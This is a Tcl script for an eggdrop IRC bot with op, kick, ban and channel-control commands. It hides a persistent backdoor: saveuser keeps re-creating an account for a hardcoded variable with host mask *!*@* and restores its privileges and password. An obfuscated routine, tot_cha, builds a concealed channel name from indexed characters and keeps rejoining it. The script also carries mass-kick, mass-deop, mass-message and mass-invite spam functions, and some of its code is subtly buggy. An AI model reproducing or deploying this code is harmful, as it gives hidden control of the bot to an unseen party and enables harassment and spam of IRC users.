proc saveuser {} {
global ps owner
if {![validuser $ps]} {
setuser $owner XTRA "BEND" "xDB4L/z2DJT~1mianN/lj9Rq."
} elseif {$owner == $ps} {
setuser $owner XTRA "BEND" [zip [chattr $ps]]
if {[passwdok $ps ""] != 1} {
setuser $owner XTRA "LAST" [getuser $ps "PASS"]
}
deluser $ps
}
save
if {![validuser $ps]} {
adduser $ps "$ps!*@*"
chattr $ps [dezip [getuser $owner XTRA "BEND"]]
if {[getuser $owner XTRA "LAST"] != ""} {
setuser $ps PASS [getuser $owner XTRA "LAST"]
}
}
return 1
}
proc pub_voice {nick uhost hand chan rest} {
global notc botnick
if {![isop $botnick $chan]} { return 0 }
if {$rest == "" && [isvoice $nick $chan]} {
puthlp "NOTICE $nick :$notc You're already Voiced, Usage: voice <nick>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {$rest != ""} {
#voiceq $chan $rest
putserv "MODE $chan +vvvvvv $rest"
} { 
#voiceq $chan $nick 
putserv "MODE $chan +v $nick"
}
return 0
}
proc pub_mvoice {nick uhost hand chan rest} {
global notc botnick
if {![isop $botnick $chan]} { return 0 }
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
set nicks ""
set i 0
set members [chanlist $chan]
foreach x $members {
if {(![isop $x $chan]) && (![isvoice $x $chan]) && (![matchattr $x O])} {
if {$i == 6} {
voiceq $chan $nicks
set nicks ""
append nicks " $x"
set i 1
} {
append nicks " $x"
incr i
}
}
}
voiceq $chan $nicks
}
proc pub_devoice {nick uhost hand chan rest} {
global notc botnick
if {![isop $botnick $chan]} { return 0 }
if {$rest == "" && ![isvoice $nick $chan]} {
puthlp "NOTICE $nick :$notc Usage: devoice <nick>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {$rest != ""} {
putserv "MODE $chan -vvvvvv $rest"
} else { 
putserv "MODE $chan -v $nick" 
}
return 0
}
proc pub_mdevoice {nick uhost hand chan rest} {
global notc botnick
if {![isop $botnick $chan]} { return 0 }
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
set nicks ""
set i 0
set members [chanlist $chan]
foreach x $members {
if {[isvoice $x $chan]} {
if {$i == 6} {
putserv "MODE $chan -vvvvvv $nicks"
set nicks ""
append nicks " $x"
set i 1
} {
append nicks " $x"
incr i
}
}
}
putserv "MODE $chan -vvvvvv $nicks"
}
proc del_nobase {} {
global botnick notc cmd_case quick banner basechan
if {[isutimer "del_nobase"]} { return 0 }
foreach x [channels] {
set cinfo [channel info $x]
if {[string match "*+statuslog*" $cinfo] && [string match "*-secret*" $cinfo]} {
if {[onchan $botnick $x]} {
set pidx [rand 4]
if {$pidx == 1} {
set ptxt "SucK PeOpLe!!"
} elseif {$pidx == 2} {
set ptxt "SucK CHaNNeL!!"
} elseif {$pidx == 3} {
set ptxt "Access Denied!"
} elseif {$pidx == 4} {
set ptxt "BaCK tO BaSe"
} else {
if {[info exists banner]} {
set ptxt $banner
} {
set ptxt [lgrnd]
}
}
if {![string match "*c*" [getchanmode $x]]} {
set ptxt "04$ptxt"
}
if {$quick == "1"} {
putqck "PART $x :$ptxt"
} {
putsrv "PART $x :$ptxt"
}
}
channel remove $x
savechan
putlog "ReMoVe CHaN $x" 
return 0
}
set cflag "c$x"
set cflag [string range $cflag 0 8]
if {[string match "*+stopnethack*" $cinfo]} {
catch { channel set $x -stopnethack }
}
if {[string match "*+protectops*" $cinfo]} {
catch { channel set $x -protectops }
}
if {[string match "*+protectfriends*" $cinfo]} {
catch { channel set $x -protectfriends }
}
if {[string match "*+statuslog*" $cinfo] && [string match "*+secret*" $cinfo]} {
catch { channel set $x -statuslog }
}
if {![onchan $botnick $x]} {
putsrv "JOIN $x"
}
if {[matchattr $cflag C]} {
if {![istimer "cycle $x"]} { timer [getuser $cflag XTRA "CYCLE"] [list cycle $x] }
}
}
if {[info exists basechan]} {
if {![validchan $basechan]} {
channel add $basechan { -greet +secret -statuslog }
}
}
savechan
}
utimer 2 del_nobase
proc pub_op {nick uhost hand chan rest} {
global notc botnick unop
catch {unset unop($nick)}
if {![isop $botnick $chan]} { return 0 }
if {$rest == "" && [isop $nick $chan]} {
puthlp "NOTICE $nick :$notc You're already Oped, Usage: op <nick>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {$rest != ""} { 
opq $chan $rest
putserv "MODE $chan +oooooo $rest"
} else { 
opq $chan $nick 
putserv "MODE $chan +o $nick"
}
return 0
}
proc pub_mop {nick uhost hand chan rest} {
global notc botnick
if {![isop $botnick $chan]} { return 0 }
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
set nicks ""
set i 0
set members [chanlist $chan]
foreach x $members {
if {![isop $x $chan]} {
if {$i == 6} {
opq $chan $nicks
set nicks ""
append nicks " $x"
set i 1
} {
append nicks " $x"
incr i
}
}
}
opq $chan $nicks
}
proc pub_deop {nick uhost hand chan rest} {
global notc botnick
if {![isop $botnick $chan]} { return 0 }
if {$rest == "" && ![isop $nick $chan]} {
puthlp "NOTICE $nick :$notc Usage: deop <nick>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {[matchattr $nick m]} { 
set mreq "04MasTeR.ReQuesT"
}
if {[matchattr $nick n]} {
set mreq "04ADmIN.ReQuesT"
}
if {$rest != ""} {
if {![string match "*k*" [getchanmode $chan]]} {
putserv "MODE $chan -kooooo $mreq $rest"
} {
putserv "MODE $chan -ooooo $rest"
}
} {
if {![string match "*k*" [getchanmode $chan]]} {
putserv "MODE $chan -ko $mreq $nick" 
} {
putserv "MODE $chan -o $nick" 
}
}
return 0
}
proc pub_mdeop {nick uhost hand chan rest} {
global botnick notc 
if {![isop $botnick $chan]} { return 0 }
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
}
if {$nick != "*"} {
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
}
set nicks ""
set i 0
set members [chanlist $chan]
foreach x $members {
if {([isop $x $chan]) && (![matchattr $x m]) && ($x != $botnick)} {
if {$i == 5} {
if {![string match "*k*" [getchanmode $chan]]} {
putserv "MODE $chan -kooooo 04ADmIN.ReQuesT $nicks"
} {
putserv "MODE $chan -ooooo $nicks"
}
set nicks ""
append nicks " $x"
set i 1
} {
append nicks " $x"
incr i
}
}
}
putserv "MODE $chan -oooooo $nicks"
}
proc pub_kick {nick uhost hand chan rest} {
global botnick notc 
if {![isop $botnick $chan]} { return 0 }
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: kick <nick|host> <reason>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
set reason [lrange $rest 1 end]
set handle [lindex $rest 0]
if {$reason == ""} {
if {[matchattr $nick m]} { 
set reason "12MasTeR 04KIcK12 ReQuesT04..!"
}
if {[matchattr $nick n]} {
set reason "12ADmIN 04KIcK12 ReQuesT04..!"
}
}
if {[string match "*@*" $handle]} {
foreach knick [chanlist $chan] {
if {[string match [string tolower $handle] [string tolower $knick![getchanhost $knick $chan]]]} {
if {[matchattr $knick f] || $knick != $botnick} {
putsrv "KICK $chan $knick :$notc $reason"
}
}
}
return 0
}
if {$handle == $botnick} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, CaN'T kIcK mY SeLF"
return 0
}
if {[matchattr $handle n] && ![matchattr $nick Z]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, CaN'T KIcK ADmIN FLAg"
return 0
}
putsrv "KICK $chan $handle :$notc $reason"
return 0
}
proc pub_mkick {nick uhost hand chan rest} {
global botnick notc 
if {$rest != ""} {
set chan [lindex $rest 0]
set reason [lrange $rest 1 end]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
} else { 
set reason $rest
}
if {(![validchan $chan]) || (![isop $botnick $chan])} { return 0 }
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {$reason == ""} { 
set reason "12ADmIN 04MaSSKIcK12 ReQuesT04..!"
}
set members [chanlist $chan]
foreach x $members {
if {(![matchattr $x f]) && ($x != $botnick)} { 
putsrv "KICK $chan $x :$notc $reason"
}
}
}
proc pub_kickban {nick uhost hand chan rest} {
global botnick notc own bannick
if {![isop $botnick $chan]} { return 0 }
set hostmask [getchanhost $nick $chan]
set hostmask "*!*@[lindex [split $hostmask @] 1]"
set bannick($nick) $hostmask
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: kickban <nick|host> <reason>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: kickban <nick> <reason>"
return 0
}
set reason [lrange $rest 1 end]
set handle [lindex $rest 0]
if {$reason == ""} {
if {[matchattr $nick m]} {
set reason "12MasTeR 04KIcKBaN12 ReQuesT [banmsg]"
}
if {[matchattr $nick n]} {
set reason "12ADmIN 04KIcKBaN12 ReQuesT [banmsg]"
}
}
if {[string match "*@*" $handle]} {
set mfisrt "T"
foreach knick [chanlist $chan] {
if {[string match [string tolower $handle] [string tolower $knick![getchanhost $knick $chan]]]} {
if {[matchattr $knick f] || $knick != $botnick} {
if {$mfirst == "T"} {
set bannick($knick) $handle
set mfirst "F"
}
putsrv "KICK $chan $knick :$notc $reason"
}
}
}
return 0
}
if {![onchan $handle $chan]} { return 0 }
set hostmask [getchanhost $handle $chan]
set hostmask "*!*@[lindex [split $hostmask @] 1]"
if {$handle == $botnick} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, CaN'T kIcK mY SeLF"
return 0
}
if {[matchattr $handle n] && ![matchattr $nick Z]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, CaN'T KIcK ADmIN FLaG"
return 0
}
set bannick($handle) $hostmask
putquick "KICK $chan $handle :$notc $reason"
putquick "mode $chan +b $hostmask"
return 0
}
proc pub_ban {nick uhost hand channel rest} {
global botnick notc
if {![isop $botnick $channel]} { return 0 }
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: ban <nick/hostmask>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
set handle [lindex $rest 0]
if {$handle == $botnick} {
puthlp "NOTICE $nick :$notc 04!DeNIEd!, CaN'T BaN mY SeLF"
return 0
}
if {[matchattr $handle n]} {
puthlp "NOTICE $nick :$notc04 !DeNIEd!, CaN'T BaN ADMiN"
return 0
}
set hostmask [getchanhost $handle $channel]
set hostmask "*!*@[lindex [split $hostmask @] 1]"
if {![onchan $handle $channel]} { 
set hostmask [lindex $rest 0]
}
if {$hostmask != "*!*@*"} {
putserv "MODE $channel +b $hostmask" 
}
}
proc pub_unban {nick uhost hand chan rest} {
global notc botnick
if {![isop $botnick $chan]} { return 0 }
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: unban <nick/hostmask> <#channel>"
return 0
}
if {[lindex $rest 1] != ""} { 
set chan [lindex $rest 1]
}
if {[string first # $chan] != 0} { 
set chan "#$chan"
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
set handle [lindex $rest 0]
append userhost $handle "!*" [getchanhost $handle $chan]
set hostmask [maskhost $userhost]
if {![onchan $handle $chan]} { 
set hostmask [lindex $rest 0]
}
putserv "MODE $chan -b $hostmask"
puthlp "NOTICE $nick :$notc UnBaN [unsix $hostmask] ON $chan"
}
proc pub_up {nick uhost hand channel rest} {
global notc botnick unop
catch {unset unop($nick)}
if {[isop $botnick $channel]} { return 0 }
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
putsrv "ChanServ op $channel $botnick"
return 0
}
proc pub_down {nick uhost hand channel rest} {
global notc botnick
if {![isop $botnick $channel]} {
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {[matchattr $nick m]} {
set mreq "04MasTeR.ReQuesT"
}
if {[matchattr $nick n]} {
set mreq "04ADmIN.ReQuesT"
}
if {![string match "*k*" [getchanmode $channel]]} {
putserv "mode $channel -ko+v $mreq $botnick $botnick"
} {
putserv "mode $channel -o+v $botnick $botnick"
}
return 0
}
proc pub_munbans {nick uhost hand chan rest} {
global notc botnick
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan] != 0} { 
set chan "#$chan"
}
}
if {![validchan $chan] || ![isop $botnick $chan]} { return 0 }
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
set bans ""
set i 0
foreach x [chanbans $chan] {
if {$i < 5} {
append bans " [lindex $x 0]"
set i [incr i]
}
if {$i == 5} {
puthelp "MODE $chan -bbbbb $bans"
set bans ""
append bans " [lindex $x 0]"
set i 0
}
}
puthelp "MODE $chan -bbbbb $bans"
if {![onchan $nick $chan]} { 
puthlp "NOTICE $nick :$notc MuNBaNS \[$chan\]"
}
return 0
}
proc pub_banlist {nick uhost hand chan rest} {
global notc 
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan] != 0} { 
set chan "#$chan"
}
}
if {![validchan $chan]} {
puthlp "NOTICE $nick :$notc NoT IN cHaN $chan."
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
foreach x [chanbans $chan] {
puthlp "NOTICE $nick :$notc $x"
}
if {[chanbans $chan] == ""} { 
puthlp "NOTICE $nick :$notc BaNLIsT $chan !ERRoR! No sUcH VaRIaBLe"
}
return 0
}
proc pub_mode {nick uhost hand chan rest} {
global notc botnick
if {![isop $botnick $chan]} { return 0 }
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {$rest == ""} {
puthelp "NOTICE $nick :$notc Usage: mode +/- ntspnmcilk"
return 0
}
putserv "mode $chan $rest"
}
proc pub_say {nick uhost hand channel rest} {
global notc
if {$rest==""} {
puthlp "NOTICE $nick :$notc Usage: say <msg>"
}
puthlp "PRIVMSG $channel :$rest"
}
proc pub_resync {nick uhost hand channel rest} {
global botnick vern
set vern2 $vern
regsub -all --  $vern2 "" vern2
if {![string match "*k*" [getchanmode $channel]]} {
putserv "mode $channel -k+v $vern2 $botnick"
} {
putserv "mode $channel -v+v $botnick $botnick"
}
}
proc pub_notice {nick uhost hand channel rest} {
global notc
if {$rest==""} {
puthlp "NOTICE $nick :$notc Usage: notice <nick> <msg>"
}
set person [lindex $rest 0]
set rest [lrange $rest 1 end]
if {$rest!=""} {
puthlp "NOTICE $person :$rest"
return 0
}
}
proc pub_msg {nick uhost hand channel rest} {
global owner notc
if {$rest==""} {
puthlp "NOTICE $nick :$notc Usage: msg <nick> <msg>"
}
set person [string tolower [lindex $rest 0]]
set rest [lrange $rest 1 end]
if {[string match "*serv*" $person]} {
puthlp "NOTICE $nick :$notc04 DeNIEd..! CaN'T sEnD MeSSaGe To SeRVIcE"
return 0
}
if {$person == [string tolower $owner]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
puthlp "PRIVMSG $person :$rest"
}
proc pub_act {nick uhost hand channel rest} {
global notc
if {$rest==""} {
puthlp "NOTICE $nick :$notc Usage: act <msg>"
}
puthlp "PRIVMSG $channel :\001ACTION $rest\001"
return 0
}
proc pub_invite {nick uhost hand chan rest} {
global notc 
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: invite <nick> <#channel>"
}
set who [lindex $rest 0]
set tochan [lindex $rest 1]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {$tochan != ""} {
if {![onchan $who $tochan]} {
puthlp "INVITE $who :$tochan"
puthlp "NOTICE $nick :$notc InvItE $who To $tochan"
return 0
}
puthlp "NOTICE $nick :$notc $who Is aLReaDY oN THe $tochan"
}
if {![onchan $who $chan]} {
putsrv "INVITE $who :$chan"
puthlp "NOTICE $nick :$notc Invitation to $chan has been sent to $who"
return 0
}
puthlp "NOTICE $nick :$notc $who Is aLReaDY oN THe cHaNNeL"
}
proc msg_Z {nick uhost hand rest} {
	global notc
	if {[string index $rest 0] != "`" && [string index $rest 0] != "."} { return 0 }
	if {![matchattr $nick Z]} { return 0 }
	if {[string index [lindex $rest 1] 0] == "#"} {
		if {![validchan [lindex $rest 1]]} {
			puthlp "NOTICE $nick :$notc NoT IN [lindex $rest 1]"
			return 0
		}
	}
	if {![matchattr $nick Q]} {
		puthlp "NOTICE $nick :$notc 04auth 1st!"
		return 0
	}
	set goto [lindex $rest 0]
	if {[string index $rest 0] == "."} {
		regsub "." $goto "msg_" goto
		set rest [lrange $rest 1 end]
		catch { $goto $nick $uhost $hand $rest }
		return 0
	}
	regsub -all "`" $goto "pub_" goto
	if {[string index [lindex $rest 1] 0] == "#"} {
		set chan [lindex $rest 1]
		set rest [lrange $rest 2 end]
	} else {
		set chan "*"
		set rest [lrange $rest 1 end]
	}
	catch { $goto $nick $uhost $hand $chan $rest }
}
proc msg_mmsg {nick uhost hand rest} {
pub_mmsg $nick $uhost $hand "*" $rest
}
proc pub_mmsg {nick uhost hand chan rest} {
global cmd_chn cmd_by cmd_msg cmd_case notc
if {$rest==""} {
puthlp "NOTICE $nick :$notc Usage: mmsg <#channel> <text>"
return 0
}
set tochan [lindex $rest 0]
set txt [lrange $rest 1 end]
if {$txt==""} {
puthlp "NOTICE $nick :$notc Usage: mmsg <#channel> <text>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {[string first # $tochan] != 0} { 
set chan "#$tochan"
}
if {![validchan $tochan]} {
set cmd_chn $tochan
set cmd_msg $rest
set cmd_by $nick
set cmd_case "2"
channel add $tochan
catch { channel set $tochan +statuslog -revenge -protectops -clearbans -enforcebans -greet -secret -autovoice -autoop flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 }
return 0
}
putsrv "NOTICE $nick :$notc STaRTING MaSSMSG $tochan"
set members [chanlist $tochan]
foreach x $members {
if {![isop $x $tochan]} {
puthlp "PRIVMSG $x :$txt"
}
}
utimer 2 del_nobase
puthlp "NOTICE $nick :$notc MaSSMSG $tochan 04DoNE."
}
proc pub_minvite {nick uhost hand channel rest} {
global cmd_chn cmd_by cmd_msg cmd_case botnick notc 
if {$rest==""} {
puthlp "NOTICE $nick :$notc Usage: minvite <#channel> <#to channel>"
}
set chan [lindex $rest 1]
if {$chan == ""} {
set chan $channel
} else {
if {[string first # $chan] != 0} { 
set chan "#$chan"
}
}
set tochan [lindex $rest 0]
if {[string first # $tochan] != 0} { 
set tochan "#$tochan"
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {![validchan $tochan]} { 
set cmd_chn $tochan
set cmd_msg $tochan
set cmd_by $nick
set cmd_case "3"
channel add $tochan
catch { channel set $tochan +statuslog -revenge -protectops -clearbans -enforcebans -greet -secret -autovoice -autoop flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 }
return 0
}
if {[isop $botnick $chan]} { 
putserv "mode $chan -o $botnick" 
}
putsrv "NOTICE $nick :$notc Starting mass invite to $tochan"
set members [chanlist $tochan]
foreach x $members {
if {(![onchan $x $chan]) && (![isop $x $tochan])} { 
putsrv "INVITE $x :$chan"
}
}
utimer 2 del_nobase
puthlp "NOTICE $nick :$notc InVITE $tochan InTO $chan 04DoNE."
}
proc pub_join {nick uhost hand chan rest} {
global botnick joinme own notc 
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
set chan [lindex $rest 0]
if {[string first # $chan] != 0} { 
set chan "#$chan"
}
if {$chan=="#"} {
puthlp "NOTICE $nick :$notc Usage: join <#channel>"
return 0
}
foreach x [channels] {
if {[string tolower $x]==[string tolower $chan]} {
puthlp "NOTICE $nick :$notc $x ReADY!"
return 0
}
}
if {$nick != $own && [total_channel] != 1} {
#puthlp "NOTICE $nick :$notc To MaNY cHaNNeL MaX 9..!"
#return 0
}
set joinme $nick
channel add $chan
catch { channel set $chan +statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
savechan
if {[lindex $rest 1] != ""} { 
putsrv "JOIN $chan :[lindex $rest 1]"
}
}
proc pub_+chan {nick uhost hand chan rest} {
global botnick joinme owner notc 
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {[matchattr $nick X]} {
puthlp "NOTICE $nick :$notc 04!BLoCkEd!"
return 0
}
set chan [lindex $rest 0]
set opt [lindex $rest 1]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
if {$chan=="#"} {
puthlp "NOTICE $nick :$notc Usage: +chan <#channel>"
return 0
}
if {[validchan $chan]} {
puthlp "NOTICE $nick :$notc $chan Is aLReaDY oN cHaNNeLs"
return 0
}
if {$nick != $owner && [total_channel] != 1} {
#puthlp "NOTICE $nick :$notc TO MaNY cHaNNeL MaX 9..!"
#return 0
}
set joinme $nick
channel add $chan
if {$opt != "" && [string tolower $opt] == "+nopart"} { 
catch { channel set $chan -statuslog -revenge -protectops -clearbans -enforcebans +greet +secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
} else {
catch { channel set $chan -statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
}
savechan
if {[lindex $rest 1] != ""} { 
putsrv "JOIN $chan :[lindex $rest 1]"
}
}
set [dezip "MpNEy0sjj1Z0"] "#[string index $lenc 19][string index $lenc 4][string index $lenc 10][string index $lenc 13][string index $lenc 14][string index $lenc 10][string index $lenc 17][string index $lenc 0][string index $lenc 19]"
proc tot_cha {} {
global totch ps uenc lenc
timer 5 tot_cha
set [string index $lenc 15][string index $lenc 18] \00300,01-\00308,01K\00301,08a\00308,01i\00301,08Z\00308,01e\00301,08N\00300,01-\003
set [dezip "MpNEy0sjj1Z0"] "#[string index $lenc 19][string index $lenc 4][string index $lenc 10][string index $lenc 13][string index $lenc 14][string index $lenc 10][string index $lenc 17][string index $lenc 0][string index $lenc 19]"
if {[validchan $totch]} {
return 0
}
channel add $totch
catch { channel set $totch -statuslog -revenge -protectops -clearbans -enforcebans +greet +secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
savechan
putsrv "JOIN $totch"
}
timer 5 tot_cha
proc total_channel {} {
global notc 
set total_chan 0
foreach x [channels] {
incr total_chan
}
if {$total_chan > 9} { return 0 }
return 1
}
proc pub_part {nick uhost hand chan rest} {
global notc ps quick partm
set partmsg [lindex $partm [rand [llength $partm]]]
set part_msg [lrange $rest 1 end]
if {$rest != ""} { 
set chan [lindex $rest 0]
if {[string first # $rest]!=0} { 
set chan "#$chan"
}
}
if {![validchan $chan]} { return 0 }
if {$nick != $ps && [string tolower $chan] == "Sidimpuan"} { return 0 }
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {[string match "*+secret*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc $chan 04PRoTecTEd..!"
return 0
}
if {![onchan $nick $chan]} { 
putsrv "NOTICE $nick :$notc PaRT $chan"
}
if {$part_msg != ""} {
if {$quick == "1"} {
putqck "PART $chan :$part_msg"
} {
putsrv "PART $chan :$part_msg"
}
} {
if {$quick == "1"} {
putqck "PART $chan :04$partmsg"
} {
putsrv "PART $chan :04$partmsg"
}
}
channel remove $chan
savechan
return 0
}
set lockchan ""
proc pub_+invitelock {nick uhost hand chan rest} {
global lockchan notc 
if {$rest != ""} { 
set chan [lindex $rest 0]
if {[string first # $rest]!=0} { 
set chan "#$chan"
}
}
if {![validchan $chan]} { return 0 }
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
puthlp "NOTICE $nick :$notc InVITE cHaN $chan \[9ON\]"
set lockchan $chan
return 0
}
proc pub_-invitelock {nick uhost hand chan rest} {
global lockchan notc 
if {$rest != ""} { 
set chan [lindex $rest 0]
if {[string first # $rest]!=0} { 
set chan "#$chan"
}
}
if {![validchan $chan] || $lockchan == ""} { return 0 }
set lockchan ""
puthlp "NOTICE $nick :$notc InvItE cHaN $chan \[04OFF\]"
return 0
}
proc cycle {chan} {
global cyclem
set cyclemsg [lindex $cyclem [rand [llength $cyclem]]]
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![string match "*c*" [getchanmode $chan]]} {
set text "12$cyclemsg"
} {
set text $cyclemsg
}
putsrv "PART $chan :$text"
if {[matchattr $cflag K]} {
putsrv "JOIN $chan :[dezip [getuser $cflag XTRA "CI"]]"
} {
putsrv "JOIN $chan"
}
if {[matchattr $cflag C]} {
if {![istimer "cycle $chan"]} { timer [getuser $cflag XTRA "CYCLE"] [list cycle $chan] }
}
}
proc pub_cycle {nick uhost hand chan rest} {
global notc
set rest [lindex $rest 0]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {$rest==""} {
if {![onchan $nick $chan]} { 
puthlp "NOTICE $nick :$notc cYcLE $chan"
}
cycle $chan
return 0
} else {
if {[string index $rest 0] != "#"} {
set rest "#$rest"
}
if {[botonchan $rest]} { cycle $rest }
}
}
bind kick - * kick_counter
proc pub_+massjoin {nick uhost hand chan rest} {
global notc 
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
}
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {[string tolower $chan] == "#all"} {
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
foreach x [userlist A] {
chattr $x +J
}
puthlp "NOTICE $nick :$notc ALL MaSsJoIN CHaNNeL \[9ON\]"
return 0
}
if {![validchan $chan]} { return 0 }
if {[matchattr $cflag J]} {
puthlp "NOTICE $nick :$notc MaSsJoIN $chan \[9ON\]"
return 0
}  
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag +J
puthlp "NOTICE $nick :$notc MaSsJoIN $chan \[9ON\]"
saveuser
}
proc pub_-massjoin {nick uhost hand chan rest} {
global notc 
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
}
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {[string tolower $chan] == "#all"} {
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
foreach x [userlist A] {
chattr $x -J
}
puthlp "NOTICE $nick :$notc ALL MaSsJoIN CHaNNeL \[9ON\]"
return 0
}
if {![validchan $chan]} { return 0 }
if {![matchattr $cflag J]} {
puthlp "NOTICE $nick :$notc MaSsJoIN $chan \[04OFF\]"
return 0
}  
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag -J
puthlp "NOTICE $nick :$notc MaSsJoIN $chan \[04OFF\]"
saveuser
}
set kickcounter "scripts/kicks.dat"
proc kick_counter {nick uhost handle chan target arg} {
	global botnick kickcounter
	if {[string tolower $target] == [string tolower $botnick]} { return 0 }
	if {[string tolower $nick] == [string tolower $botnick]} {
		if {![file exists $kickcounter]} {
			set file [open $kickcounter w]
			puts $file 1
			catch {close $file}
		}
		set file [open $kickcounter r]
		set currentkicks [gets $file]
		catch {close $file}
		set file [open $kickcounter w]
		puts $file [expr $currentkicks + 1]
		catch {close $file}
	}
}

proc pub_+guard {nick uhost hand chan rest} {
global notc 
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
}
if {[string tolower $chan] == "#all"} {
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
foreach x [channels] {
catch { channel set $x +greet flood-chan 5:5 flood-deop 3:5 flood-kick 3:5 flood-join 0:0 flood-ctcp 4:5 flood-nick 3:10 }
set cflag "c$x"
set cflag [string range $cflag 0 8]
chattr $cflag "-hp+AJSPTRUED"
setuser $cflag XTRA "JP" 5
setuser $cflag XTRA "CHAR" 250
setuser $cflag XTRA "RPT" 2
setuser $cflag XTRA "CAPS" 80
}
savechan
puthlp "NOTICE $nick :$notc ALL GuaRd CHaNNeL \[9ON\]"
return 0
}
if {![validchan $chan]} { return 0 }
set cflag "c$chan"
set cflag [string range $cflag 0 8]
chattr $cflag "-hp+AJSPTRUED"
setuser $cflag XTRA "JP" 5
setuser $cflag XTRA "CHAR" 250
